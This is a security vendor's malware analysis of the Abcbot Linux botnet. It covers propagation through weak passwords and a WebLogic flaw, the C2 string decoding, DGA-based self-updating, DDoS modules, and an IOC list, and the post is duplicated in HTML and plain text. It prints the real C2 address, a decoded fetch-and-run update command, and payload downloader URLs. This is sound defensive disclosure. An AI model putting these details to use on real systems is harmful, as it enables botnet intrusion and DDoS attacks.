Abcbot, an evolving botnet
<!--kg-card-begin: markdown--><h1 id="background">Background</h1>
<p>Business on the cloud and security on the cloud is one of the industry trends in recent years. 360Netlab is also continuing to focus on security incidents and trends on the cloud from its own expertise in the technology field. The following is a recent security incident we observed, where the infected device IP came from multiple cloud provider platforms.</p>
<p>On July 14, 2021, our BotMon system identified an unknown ELF file (a14d0188e2646d236173b230c59037c7) generating a lot of scanning traffic, after analysis, we determined that this is a Go language implementation of Scanner, based on its source path &quot;abc-hello&quot; string, we named it <code>Abcbot</code> internally.</p>
<p>At the beginning, Abcbot was relatively simple, and could be seen as a scanner for attacking Linux systems, with a weak password &amp; Nday vulnerability for worm-like propagation. One interesting thing is that Abcbot's source path has the &quot;dga.go&quot; string, but <code>no related DGA implementation was found</code>. We assumed that its authors would add this feature in subsequent versions, other than that, we did not paid too much attention to it.</p>
<p>As time passed, Abcbot has continued to evolve, and <code>as we expected, it added the DGA feature in subsequent samples</code>. Today Abcbot has the ability to <strong>self-updating, setting up Webserver, laughing DDoS, as well as worm like propagation</strong>.</p>
<p>On October 8, 2021, Trend Micro released <a href="https://www.trendmicro.com/en_us/research/21/j/actors-target-huawei-cloud-using-upgraded-linux-malware-.html"><strong>an analysis of this family</strong></a>, which focused on the pre-SHELL scripts that spread Abcbot, but skimmed over the features of Abcbot itself.</p>
<p>Given that Abcbot is under continuous development, its features are constantly being updated, we decided to write this article to share our findings with the community.</p>
<h1 id="timeline">Timeline</h1>
<ul>
<li>
<p>On July 14, 2021, abcbot was first captured with the main functionality of Scanner,WebServer.</p>
</li>
<li>
<p>July 22, 2021, abcbot updated to include dga-related code in the self-updating function.</p>
</li>
<li>
<p>October 10, 2021, abcbot performed minor update.</p>
</li>
<li>
<p>October 12, 2021, another update, with some major code structure changes.</p>
</li>
<li>
<p>October 21, 2021, another update, adding the open source ATK rootkit to support DDoS functionality.</p>
</li>
<li>
<p>October 30, 2021, another update, abandoned ATK rootkit, to their own implementation of DDoS functionality.</p>
</li>
</ul>
<h1 id="abcbotoverview">Abcbot Overview</h1>
<p>We use the latest October 30, 2021 sample as a blueprint, this version targets mainly on common databases and WEB servers, it uses weak password &amp; Nday vulnerability to achieve worm-like propagation, the main focus is for DDoS.</p>
<p>It currently supports the following nine attack methods.</p>
<ul>
<li>tls Attack</li>
<li>tcp Attack</li>
<li>udp Attack</li>
<li>ace Attack</li>
<li>hulk Attack</li>
<li>httpGet Attack</li>
<li>goldenEye Attack</li>
<li>slowloris Attack</li>
<li>bandwidthDrain Attack</li>
</ul>
<p>Its basic flow chart is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_brief.png"  width="860px" />
<h1 id="sampleanalysis">Sample Analysis</h1>
<p>We captured a total of 6 different versions of abcbot samples, and the sample of October 30 was selected as the main object of analysis in this paper, and its basic information is shown as follows.</p>
<pre><code>MD5:ae8f8cf967ca15a7689f2d1f79fbc5dc
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Packer:upx
Date:2021-10-30
</code></pre>
<p>Abcbot uses a standard UPX shell. When it runs in the compromised device, Abcbot confuses the user by copying itself into the following files, then starting the dockerlogger, iptablesupdate processes.</p>
<pre><code>/bin/dockerlogger
/usr/bin/dockerlogger
/etc/iptablesupdate
</code></pre>
<p>The <code>iptablesupdate</code> process is responsible for scanning for new infected devices, reporting the device information to C2, and waiting for the execution of DDoS commands issued by C2.</p>
<p>The <code>dockerlogger</code> process is responsible for turning the infected device into a webserver, reporting the device information to C2, and waiting for the execution of the Updata command issued by the update server, let’s take a closer look.</p>
<h2 id="0x01uploadingdeviceinformationtoc2">0x01: Uploading device information to C2</h2>
<p>The current Abcbot samples are hard-coded with a encrypted C2 string (&quot;GEVQYYdjQdquLemMLYlkLLXLQmq7NmL7NYXu&quot;), which is encoded using Base64 &amp; XOR encryption.</p>
<p>The Base64 decoding operation is shown below, and it can be seen that Abcbot changes the Alphabet value, which it uses as <code>LMNu67PQX21pqrR3YZaDEFGbcVIJjkKWdefstghiBACHlSTUmO5noxyz04vw89+/</code></p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_base.png"  width="860px" />
<p>By dissociating the Base64 decoded result with <code>0x31 0x32 0x33</code>, the following final result can be obtained</p>
<pre><code>http://103.209.103.16:26800
</code></pre>
<p>After decrypting C2, both <code>iptablesupdate</code> and <code>dockerlogger</code> processes report device information to C2 via the path &quot;/api/postip&quot;, and the format of the device information is <code>OS:%v\x09CPU:%v\x09HX:%vh\x09os-name:%v\x09lanip:%v</code>.</p>
<p>Note both processes collect the same device information and call the abc_hello_util_Os_pz function. The only difference is shown in the figure below, which shows that the dockerlogger process appends &quot;\td0.02&quot; to the reported information, while iptablesupdate appends &quot;\ ti0.02&quot;, where the &quot;d&quot; and &quot;i&quot; characters imply the process reporting the traffic, and &quot;0.02&quot; is similar to the version (in the October 21 sample, the version is &quot;0.01&quot;).</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_twodiff.png"  width="860px" />
<p>The actual traffic generated is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_reg.png"  width="860px" />
<h2 id="0x02scanandpropagation">0x02: Scan and propagation</h2>
<p>The &quot;abc_hello_plugin_StartScan&quot; function is responsible for infecting new devices. Its logic is to generate random IPs, detect whether the ports on the IPs that can be attacked are open, and then attack the services by either going through the corresponding weak password list or using the Nday vulnerabilities.</p>
<p>The following code snippet shows that Abcbot tries to attack Weblogic.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_logic.png"  width="860px" />
<p>In the Abcbot sample, you can clearly see the functions used in the attack on the relevant network services.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_serv.png"  width="860px" />
<p>The weak passwords and vulnerabilities used by Abcbot are the following</p>
<ul>
<li>SSH weak password</li>
<li>FTP weak password</li>
<li>PostgreSQL weak password</li>
<li>Redis weak password</li>
<li>Mssql weak password</li>
<li>Mongo weak password</li>
<li>WebLogic Vulnerability (CVE-2020-14882)</li>
</ul>
<h2 id="0x03webserver">0x03: WebServer</h2>
<p>Abcbot uses the &quot;abc_hello_web_StartServer&quot; function to start a WebServer on the infected device, listening on port 26800, and the supported methods and paths are shown in the following table.</p>
<table>
<thead>
<tr>
<th>Method</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>/api/postip</td>
</tr>
<tr>
<td>POST</td>
<td>/api/configlist</td>
</tr>
<tr>
<td>POST</td>
<td>/api/getlist</td>
</tr>
<tr>
<td>POST</td>
<td>/api/check</td>
</tr>
</tbody>
</table>
<p>The actual effect is shown in the following figure.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_web.png"  width="860px" />
<p>At present, the path that really being called is &quot;/api/check&quot;, which is used to determine whether the device has already been infected by requesting the target ip:26800/api/check during the scanning and propagation process.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_check.png"  width="860px" />
<p>The other paths are only used to maintain connectivity and have no real use.When they are accessed, some logs files will be generated in the path &quot;/tmp.abchello&quot;.</p>
<p>In fact, using &quot;curl-X POST&quot; cmd to test C2, you can find that the above 4 paths also exist on C2. The author of Abcbot seems to want to break the current C/S network model and bring the role of Bot in the network closer to Server. Therefore, we speculate that the network structure of Acbbot may shift to P2P.</p>
<h2 id="0x04selfupdating">0x04: Self-updating</h2>
<p>On July 22, Abcbot introduced the &quot;abc_hello_util_Updata&quot; function to handle self-updates. Its logic is to request the &quot;2.txt&quot; resource from the remote server. The &quot;2.txt&quot; consists of two parts, which are in the format of <code>&quot;Resource(hex format)|digital signature(hex format)&quot;</code>. When Bot successfully pulls the 2.txt, it will verify the digital signature by the following code snippet.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_verify.png"  width="860px" />
<p>The hard-coded public key in the sample is</p>
<pre><code>-----BEGIN RSA PUBLIC KEY-----

MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL3zj6XQt7gYe+L6oI/IUvlJNZVsg/JX\x0AC7TCnl9p1JfBJFdx+W9FTFnO2Fr8/hAUtf1NpP/WG2fgeG4Nvdcuyq0CAwEAAQ==

-----END RSA PUBLIC KEY-----
</code></pre>
<p>After the verification is successful, the Resource is further decomposed, and the format of the Resource is <code>&quot;cmd|downloader url| crc32|cmd2&quot;</code>.</p>
<p>When the cmd is &quot;alldown2&quot;, the downloader url is requested and the crc32 hash value of the file is verified. The downloaded file completes the process of self-updating.</p>
<p>The actual 2.txt obtained is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_updata.png"  width="860px" />
<p>The Resource part is decoded in HEX format which represents update command.</p>
<pre><code>alldown2|http://103.209.103.16:26800/ff.sh|611043B5|posterrorurl
</code></pre>
<p>There are 3 sources for the remote server domain name in this process as follows.</p>
<ol>
<li>
<p>Hard-coded TOR domain name (decryption method is the same as C2)</p>
</li>
<li>
<p>DGA algorithm generates prefix strings, which are spliced with 3 suffixes (.com, .tk, .pages.dev) to form the domain name</p>
</li>
<li>
<p>DGA algorithm generates the string as a github account, and then gets the upgrade resources from this github account</p>
</li>
</ol>
<p>The code snippet below is the process of Abcbot requesting 2.txt resources from DGA generated domain name and GITHUB repository.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_dga.png"  width="860px" />
<p>The domain names used for the samples at each time point are shown below.</p>
<table>
<thead>
<tr>
<th>Date</th>
<th>MD5</th>
<th>Res Tor Domain</th>
<th>DGA Domain</th>
<th>DGA Github</th>
</tr>
</thead>
<tbody>
<tr>
<td>07-14</td>
<td>a14d0188e2646d236173b230c59037c7</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>07-22</td>
<td>e535215fad2ef0885e03ba111bd36e24</td>
<td>1</td>
<td>3/month</td>
<td>1/month</td>
</tr>
<tr>
<td>10-10</td>
<td>6e66456ffb457c52950cf05a6aaabe4a</td>
<td>1</td>
<td>3/month</td>
<td>0</td>
</tr>
<tr>
<td>10-12</td>
<td>39d373434c947742168e07cc9010c992</td>
<td>1</td>
<td>3/month</td>
<td>0</td>
</tr>
<tr>
<td>10-21</td>
<td>e95c9bae6e2b44c6f9b98e2dfd769675</td>
<td>0</td>
<td>27/month</td>
<td>0</td>
</tr>
<tr>
<td>10-30</td>
<td>ae8f8cf967ca15a7689f2d1f79fbc5dc</td>
<td>0</td>
<td>27/month</td>
<td>0</td>
</tr>
</tbody>
</table>
<p>Part of DGA-generated domain names for Abcbot in October are shown below.</p>
<pre><code>dgixyyfug.tk
dgixyyfug.com
dgixyyfug.pages.dev
guyfixdyg.tk
guyfixdyg.com
guyfixdyg.pages.dev

</code></pre>
<p>When Abcbot started to use DGA to generate domain names for updating servers, we grabbed some of them at the first opportunity, which allowed us to measure its size. From the current statistics Abcbot is not very large, with a total of 261 IPs.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_scale.png"  width="860px" />
<p>The current distribution of infected hosts by service providers is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_static.png"  width="860px" />
<h2 id="0x05ddos">0x05: DDoS</h2>
<p>On October 21, Abcbot introduced the &quot;main_TimeDDos&quot; function to support DDoS attacks, its logic is to request DDoS instructions from C2 via the path &quot;/api/getlist&quot;, the instructions consist of 2 parts, <code>&quot;DDoS instruction (hex format) | instruction digital signature (hex format)&quot;</code>. When Bot receives the instruction, it reuses the digital signature in the self-renewal subsection above for verification, and can only execute it after the verification is successful.</p>
<p>The actual traffic generated is shown below, the &quot;73746f70&quot; string before the &quot;|&quot; character is the &quot;stop&quot; instruction.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_ddos.png"  width="860px" />
<p>Interesting thing is that the sample on October 21 (md5:e95c9bae6e2b44c6f9b98e2dfd769675) uses the open source <a href="https://github.com/millken/kdev/tree/master/4atk%201.05new">ATK Rootkit</a> to implement the DDoS function.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_rootkit-1.png"  width="860px" />
<p>Abcbot modified the main function in the ATK source code file <code>share_atk_svr.c</code>, and implemented a UDP server by monitoring SERV_PORT on 127.0.0.1 through the following code. SERV_PORT has 4, respectively 88,89,90,91.</p>
<pre><code>sockfd = socket(AF_INET, SOCK_DGRAM, 0);
bzero(&amp;servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
// servaddr.sin_addr.s_addr = htonl(INADDR_ANY); // 0.0.0.0 
servaddr.sin_addr.s_addr = inet_addr(&quot;127.0.0.1&quot;);
servaddr.sin_port = htons(SERV_PORT);
</code></pre>
<p>When Abcbot receives the command sent by C2, it forwards the command to the UDP server, and the ATK rootkit performs the DDoS attack. The code snippet shown below is exactly the DDoS command&quot;BigUdp&quot; forwarded to the rootkit.</p>
<p>The supported commands are shown below.</p>
<ul>
<li>stop</li>
<li>syn</li>
<li>dns</li>
<li>bigudp</li>
</ul>
<p><strong>We do not consider this approach to DDoS attacks a good one</strong>, as ATK rootkit is stored in the form of source code on a remote server,</p>
<pre><code>xl_x64scan1=&quot;http://103.209.103.16:26800/atk.tar.gz&quot;
xl_x64scan2=&quot;http://103.209.103.16:26800/atk.tar.gz&quot;
</code></pre>
<p>thus requires Abcbot to download the source code, compile, and load the rootkit module before performing DDoS attack, this process requires too many steps, and any step that is faulty will result in the failure of the DDoS function.</p>
<p>Apparently the author had same thoughts, and in the October 30 sample (md5:ae8f8cf967ca15a7689f2d1f79fbc5dc) an update abandoned the ATK rootkit and implemented its own attack module, with nine attack methods being supported.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_attack.png"  width="860px" />
<h1 id="summary">Summary</h1>
<p>In the process of reverse analysis, we found many oddities in Abcbot, such as &quot;repeatedly reporting local device information, not registering DGA domain names, unreasonable exclusion of TOR &amp; Github resource servers, and webserver functionality not really enabled&quot;, which gives us a feeling that Abcbot authors are testing various technologies. The update process in these six months is not so much a continuous upgrade of features as a trade-off between different technologies. Abcbot is slowly moving from infancy to maturity. We do not consider this stage to be the final form, there are obviously many areas of improvement or features to be developed at this stage. Let's wait and see what happens.</p>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">Twitter</a> or email us to netlab at 360 dot cn.</p>
<h1 id="ioc">IOC</h1>
<h2 id="c2resourceserver">C2 &amp; Resource Server</h2>
<h3 id="dgadomainoctober">DGA Domain(October)</h3>
<pre><code>
dgixyyfug.tk
dgixyyfug.com
dgixyyfug.pages.dev
guyfixdyg.tk
guyfixdyg.com
guyfixdyg.pages.dev
gfgiudyyx.tk
gfgiudyyx.com
gfgiudyyx.pages.dev
xgudyfyig.tk
xgudyfyig.com
xgudyfyig.pages.dev
yugxdigfy.tk
yugxdigfy.com
yugxdigfy.pages.dev
gdgiyyfxu.tk
gdgiyyfxu.com
gdgiyyfxu.pages.dev
gdiuyyfgx.tk
gdiuyyfgx.com
gdiuyyfgx.pages.dev
fgiudxyyg.tk
fgiudxyyg.com
fgiudxyyg.pages.dev
ygfydgxui.tk
ygfydgxui.com
ygfydgxui.pages.dev
</code></pre>
<h3 id="dgadomainnovember">DGA Domain(November)</h3>
<pre><code>enjuyzkpr.tk
enjuyzkpr.com
enjuyzkpr.pages.dev
rpzkjueyn.tk
rpzkjueyn.com
rpzkjueyn.pages.dev
nkrjpezyu.tk
nkrjpezyu.com
nkrjpezyu.pages.dev
unpeykzjr.tk
unpeykzjr.com
unpeykzjr.pages.dev
ypnuejrkz.tk
ypnuejrkz.com
ypnuejrkz.pages.dev
nerjyzkup.tk
nerjyzkup.com
nerjyzkup.pages.dev
nejpzykru.tk
nejpzykru.com
nejpzykru.pages.dev
knjpeuzyr.tk
knjpeuzyr.com
knjpeuzyr.pages.dev
zrkyenupj.tk
zrkyenupj.com
zrkyenupj.pages.dev
</code></pre>
<h3 id="ip">IP</h3>
<pre><code>103.209.103.16	China|Hong_Kong|Unknown	AS63916|IPTELECOM_Global
</code></pre>
<h3 id="tor">Tor</h3>
<pre><code>http://vgnaovx6prvmvoeabk5bxfummn3ltdur3h4ilnklvaox4lge2rp4nzqd.onion
</code></pre>
<h2 id="samplemd5">Sample MD5</h2>
<pre><code>0786c80bfcedb7da9c2d5edbe9ff662f
0f2619811ceaf85baa72f9c8f876a59a
1177c135f15951418219a97b3caad4e1
1a720cc74ecf330b8f13412de4d5646b
39d373434c947742168e07cc9010c992
3f277c7b4c427f9ef02cf8df4dd7be44
5d37a61451e5cfdeca272369ac032076
6e66456ffb457c52950cf05a6aaabe4a
6e66456ffb457c52950cf05a6aaabe4a
89ffd4f612ce604457446ee2a218de67
8f3558b29d594d33e69cea130f054717
a14d0188e2646d236173b230c59037c7
a17ea52318baa4e50e4b6d3a79fbd935
a4c7917787dc28429839c7d588956202
ae8f8cf967ca15a7689f2d1f79fbc5dc
baeb11c659b8e38ea3f01ad075e9df9a
c27d1c81a3c45776e31cfb384787c674
c64fbc7d3586d42583aa3a0dc3ea529f
e535215fad2ef0885e03ba111bd36e24
e95c9bae6e2b44c6f9b98e2dfd769675
</code></pre>
<h2 id="downloader">Downloader</h2>
<pre><code>http://103[.209.103.16:26800/atk.tar.gz
http://103[.209.103.16:26800/dd.sh
http://103[.209.103.16:26800/ff.sh
http://103[.209.103.16:26800/linux64-shell
http://103[.209.103.16:26800/xlinux
</code></pre>
<!--kg-card-end: markdown-->
Background


Business on the cloud and security on the cloud is one of the industry trends in recent years. 360Netlab is also continuing to focus on security incidents and trends on the cloud from its own expertise in the technology field. The following is a recent security incident we observed, where the infected device IP came from multiple cloud provider platforms.


On July 14, 2021, our BotMon system identified an unknown ELF file (a14d0188e2646d236173b230c59037c7) generating a lot of scanning traffic, after analysis, we determined that this is a Go language implementation of Scanner, based on its source path "abc-hello" string, we named it Abcbot internally.


At the beginning, Abcbot was relatively simple, and could be seen as a scanner for attacking Linux systems, with a weak password & Nday vulnerability for worm-like propagation. One interesting thing is that Abcbot's source path has the "dga.go" string, but no related DGA implementation was found. We assumed that its authors would add this feature in subsequent versions, other than that, we did not paid too much attention to it.


As time passed, Abcbot has continued to evolve, and as we expected, it added the DGA feature in subsequent samples. Today Abcbot has the ability to self-updating, setting up Webserver, laughing DDoS, as well as worm like propagation.


On October 8, 2021, Trend Micro released an analysis of this family, which focused on the pre-SHELL scripts that spread Abcbot, but skimmed over the features of Abcbot itself.


Given that Abcbot is under continuous development, its features are constantly being updated, we decided to write this article to share our findings with the community.



Timeline


 * 
   
   
   On July 14, 2021, abcbot was first captured with the main functionality of Scanner,WebServer.
   

 * 
   
   
   July 22, 2021, abcbot updated to include dga-related code in the self-updating function.
   

 * 
   
   
   October 10, 2021, abcbot performed minor update.
   

 * 
   
   
   October 12, 2021, another update, with some major code structure changes.
   

 * 
   
   
   October 21, 2021, another update, adding the open source ATK rootkit to support DDoS functionality.
   

 * 
   
   
   October 30, 2021, another update, abandoned ATK rootkit, to their own implementation of DDoS functionality.
   



Abcbot Overview


We use the latest October 30, 2021 sample as a blueprint, this version targets mainly on common databases and WEB servers, it uses weak password & Nday vulnerability to achieve worm-like propagation, the main focus is for DDoS.


It currently supports the following nine attack methods.


 * tls Attack
 * tcp Attack
 * udp Attack
 * ace Attack
 * hulk Attack
 * httpGet Attack
 * goldenEye Attack
 * slowloris Attack
 * bandwidthDrain Attack


Its basic flow chart is shown below.




Sample Analysis


We captured a total of 6 different versions of abcbot samples, and the sample of October 30 was selected as the main object of analysis in this paper, and its basic information is shown as follows.


MD5:ae8f8cf967ca15a7689f2d1f79fbc5dc
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Packer:upx
Date:2021-10-30



Abcbot uses a standard UPX shell. When it runs in the compromised device, Abcbot confuses the user by copying itself into the following files, then starting the dockerlogger, iptablesupdate processes.


/bin/dockerlogger
/usr/bin/dockerlogger
/etc/iptablesupdate



The iptablesupdate process is responsible for scanning for new infected devices, reporting the device information to C2, and waiting for the execution of DDoS commands issued by C2.


The dockerlogger process is responsible for turning the infected device into a webserver, reporting the device information to C2, and waiting for the execution of the Updata command issued by the update server, let’s take a closer look.



0x01: Uploading device information to C2


The current Abcbot samples are hard-coded with a encrypted C2 string ("GEVQYYdjQdquLemMLYlkLLXLQmq7NmL7NYXu"), which is encoded using Base64 & XOR encryption.


The Base64 decoding operation is shown below, and it can be seen that Abcbot changes the Alphabet value, which it uses as LMNu67PQX21pqrR3YZaDEFGbcVIJjkKWdefstghiBACHlSTUmO5noxyz04vw89+/



By dissociating the Base64 decoded result with 0x31 0x32 0x33, the following final result can be obtained


http://103.209.103.16:26800



After decrypting C2, both iptablesupdate and dockerlogger processes report device information to C2 via the path "/api/postip", and the format of the device information is OS:%v\x09CPU:%v\x09HX:%vh\x09os-name:%v\x09lanip:%v.


Note both processes collect the same device information and call the abc_hello_util_Os_pz function. The only difference is shown in the figure below, which shows that the dockerlogger process appends "\td0.02" to the reported information, while iptablesupdate appends "\ ti0.02", where the "d" and "i" characters imply the process reporting the traffic, and "0.02" is similar to the version (in the October 21 sample, the version is "0.01").



The actual traffic generated is shown below.




0x02: Scan and propagation


The "abc_hello_plugin_StartScan" function is responsible for infecting new devices. Its logic is to generate random IPs, detect whether the ports on the IPs that can be attacked are open, and then attack the services by either going through the corresponding weak password list or using the Nday vulnerabilities.


The following code snippet shows that Abcbot tries to attack Weblogic.



In the Abcbot sample, you can clearly see the functions used in the attack on the relevant network services.



The weak passwords and vulnerabilities used by Abcbot are the following


 * SSH weak password
 * FTP weak password
 * PostgreSQL weak password
 * Redis weak password
 * Mssql weak password
 * Mongo weak password
 * WebLogic Vulnerability (CVE-2020-14882)



0x03: WebServer


Abcbot uses the "abc_hello_web_StartServer" function to start a WebServer on the infected device, listening on port 26800, and the supported methods and paths are shown in the following table.





Method
Path




POST
/api/postip


POST
/api/configlist


POST
/api/getlist


POST
/api/check





The actual effect is shown in the following figure.



At present, the path that really being called is "/api/check", which is used to determine whether the device has already been infected by requesting the target ip:26800/api/check during the scanning and propagation process.



The other paths are only used to maintain connectivity and have no real use.When they are accessed, some logs files will be generated in the path "/tmp.abchello".


In fact, using "curl-X POST" cmd to test C2, you can find that the above 4 paths also exist on C2. The author of Abcbot seems to want to break the current C/S network model and bring the role of Bot in the network closer to Server. Therefore, we speculate that the network structure of Acbbot may shift to P2P.



0x04: Self-updating


On July 22, Abcbot introduced the "abc_hello_util_Updata" function to handle self-updates. Its logic is to request the "2.txt" resource from the remote server. The "2.txt" consists of two parts, which are in the format of "Resource(hex format)|digital signature(hex format)". When Bot successfully pulls the 2.txt, it will verify the digital signature by the following code snippet.



The hard-coded public key in the sample is


-----BEGIN RSA PUBLIC KEY-----

MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL3zj6XQt7gYe+L6oI/IUvlJNZVsg/JX\x0AC7TCnl9p1JfBJFdx+W9FTFnO2Fr8/hAUtf1NpP/WG2fgeG4Nvdcuyq0CAwEAAQ==

-----END RSA PUBLIC KEY-----



After the verification is successful, the Resource is further decomposed, and the format of the Resource is "cmd|downloader url| crc32|cmd2".


When the cmd is "alldown2", the downloader url is requested and the crc32 hash value of the file is verified. The downloaded file completes the process of self-updating.


The actual 2.txt obtained is shown below.



The Resource part is decoded in HEX format which represents update command.


alldown2|http://103.209.103.16:26800/ff.sh|611043B5|posterrorurl



There are 3 sources for the remote server domain name in this process as follows.


 1. 
    
    
    Hard-coded TOR domain name (decryption method is the same as C2)
    

 2. 
    
    
    DGA algorithm generates prefix strings, which are spliced with 3 suffixes (.com, .tk, .pages.dev) to form the domain name
    

 3. 
    
    
    DGA algorithm generates the string as a github account, and then gets the upgrade resources from this github account
    


The code snippet below is the process of Abcbot requesting 2.txt resources from DGA generated domain name and GITHUB repository.



The domain names used for the samples at each time point are shown below.





Date
MD5
Res Tor Domain
DGA Domain
DGA Github




07-14
a14d0188e2646d236173b230c59037c7
0
0
0


07-22
e535215fad2ef0885e03ba111bd36e24
1
3/month
1/month


10-10
6e66456ffb457c52950cf05a6aaabe4a
1
3/month
0


10-12
39d373434c947742168e07cc9010c992
1
3/month
0


10-21
e95c9bae6e2b44c6f9b98e2dfd769675
0
27/month
0


10-30
ae8f8cf967ca15a7689f2d1f79fbc5dc
0
27/month
0





Part of DGA-generated domain names for Abcbot in October are shown below.


dgixyyfug.tk
dgixyyfug.com
dgixyyfug.pages.dev
guyfixdyg.tk
guyfixdyg.com
guyfixdyg.pages.dev




When Abcbot started to use DGA to generate domain names for updating servers, we grabbed some of them at the first opportunity, which allowed us to measure its size. From the current statistics Abcbot is not very large, with a total of 261 IPs.



The current distribution of infected hosts by service providers is shown below.




0x05: DDoS


On October 21, Abcbot introduced the "main_TimeDDos" function to support DDoS attacks, its logic is to request DDoS instructions from C2 via the path "/api/getlist", the instructions consist of 2 parts, "DDoS instruction (hex format) | instruction digital signature (hex format)". When Bot receives the instruction, it reuses the digital signature in the self-renewal subsection above for verification, and can only execute it after the verification is successful.


The actual traffic generated is shown below, the "73746f70" string before the "|" character is the "stop" instruction.



Interesting thing is that the sample on October 21 (md5:e95c9bae6e2b44c6f9b98e2dfd769675) uses the open source ATK Rootkit to implement the DDoS function.



Abcbot modified the main function in the ATK source code file share_atk_svr.c, and implemented a UDP server by monitoring SERV_PORT on 127.0.0.1 through the following code. SERV_PORT has 4, respectively 88,89,90,91.


sockfd = socket(AF_INET, SOCK_DGRAM, 0);
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
// servaddr.sin_addr.s_addr = htonl(INADDR_ANY); // 0.0.0.0 
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
servaddr.sin_port = htons(SERV_PORT);



When Abcbot receives the command sent by C2, it forwards the command to the UDP server, and the ATK rootkit performs the DDoS attack. The code snippet shown below is exactly the DDoS command"BigUdp" forwarded to the rootkit.


The supported commands are shown below.


 * stop
 * syn
 * dns
 * bigudp


We do not consider this approach to DDoS attacks a good one, as ATK rootkit is stored in the form of source code on a remote server,


xl_x64scan1="http://103.209.103.16:26800/atk.tar.gz"
xl_x64scan2="http://103.209.103.16:26800/atk.tar.gz"



thus requires Abcbot to download the source code, compile, and load the rootkit module before performing DDoS attack, this process requires too many steps, and any step that is faulty will result in the failure of the DDoS function.


Apparently the author had same thoughts, and in the October 30 sample (md5:ae8f8cf967ca15a7689f2d1f79fbc5dc) an update abandoned the ATK rootkit and implemented its own attack module, with nine attack methods being supported.




Summary


In the process of reverse analysis, we found many oddities in Abcbot, such as "repeatedly reporting local device information, not registering DGA domain names, unreasonable exclusion of TOR & Github resource servers, and webserver functionality not really enabled", which gives us a feeling that Abcbot authors are testing various technologies. The update process in these six months is not so much a continuous upgrade of features as a trade-off between different technologies. Abcbot is slowly moving from infancy to maturity. We do not consider this stage to be the final form, there are obviously many areas of improvement or features to be developed at this stage. Let's wait and see what happens.



Contact us


Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.



IOC



C2 & Resource Server



DGA Domain(October)



dgixyyfug.tk
dgixyyfug.com
dgixyyfug.pages.dev
guyfixdyg.tk
guyfixdyg.com
guyfixdyg.pages.dev
gfgiudyyx.tk
gfgiudyyx.com
gfgiudyyx.pages.dev
xgudyfyig.tk
xgudyfyig.com
xgudyfyig.pages.dev
yugxdigfy.tk
yugxdigfy.com
yugxdigfy.pages.dev
gdgiyyfxu.tk
gdgiyyfxu.com
gdgiyyfxu.pages.dev
gdiuyyfgx.tk
gdiuyyfgx.com
gdiuyyfgx.pages.dev
fgiudxyyg.tk
fgiudxyyg.com
fgiudxyyg.pages.dev
ygfydgxui.tk
ygfydgxui.com
ygfydgxui.pages.dev




DGA Domain(November)


enjuyzkpr.tk
enjuyzkpr.com
enjuyzkpr.pages.dev
rpzkjueyn.tk
rpzkjueyn.com
rpzkjueyn.pages.dev
nkrjpezyu.tk
nkrjpezyu.com
nkrjpezyu.pages.dev
unpeykzjr.tk
unpeykzjr.com
unpeykzjr.pages.dev
ypnuejrkz.tk
ypnuejrkz.com
ypnuejrkz.pages.dev
nerjyzkup.tk
nerjyzkup.com
nerjyzkup.pages.dev
nejpzykru.tk
nejpzykru.com
nejpzykru.pages.dev
knjpeuzyr.tk
knjpeuzyr.com
knjpeuzyr.pages.dev
zrkyenupj.tk
zrkyenupj.com
zrkyenupj.pages.dev




IP


103.209.103.16	China|Hong_Kong|Unknown	AS63916|IPTELECOM_Global




Tor


http://vgnaovx6prvmvoeabk5bxfummn3ltdur3h4ilnklvaox4lge2rp4nzqd.onion




Sample MD5


0786c80bfcedb7da9c2d5edbe9ff662f
0f2619811ceaf85baa72f9c8f876a59a
1177c135f15951418219a97b3caad4e1
1a720cc74ecf330b8f13412de4d5646b
39d373434c947742168e07cc9010c992
3f277c7b4c427f9ef02cf8df4dd7be44
5d37a61451e5cfdeca272369ac032076
6e66456ffb457c52950cf05a6aaabe4a
6e66456ffb457c52950cf05a6aaabe4a
89ffd4f612ce604457446ee2a218de67
8f3558b29d594d33e69cea130f054717
a14d0188e2646d236173b230c59037c7
a17ea52318baa4e50e4b6d3a79fbd935
a4c7917787dc28429839c7d588956202
ae8f8cf967ca15a7689f2d1f79fbc5dc
baeb11c659b8e38ea3f01ad075e9df9a
c27d1c81a3c45776e31cfb384787c674
c64fbc7d3586d42583aa3a0dc3ea529f
e535215fad2ef0885e03ba111bd36e24
e95c9bae6e2b44c6f9b98e2dfd769675




Downloader


http://103[.209.103.16:26800/atk.tar.gz
http://103[.209.103.16:26800/dd.sh
http://103[.209.103.16:26800/ff.sh
http://103[.209.103.16:26800/linux64-shell
http://103[.209.103.16:26800/xlinux


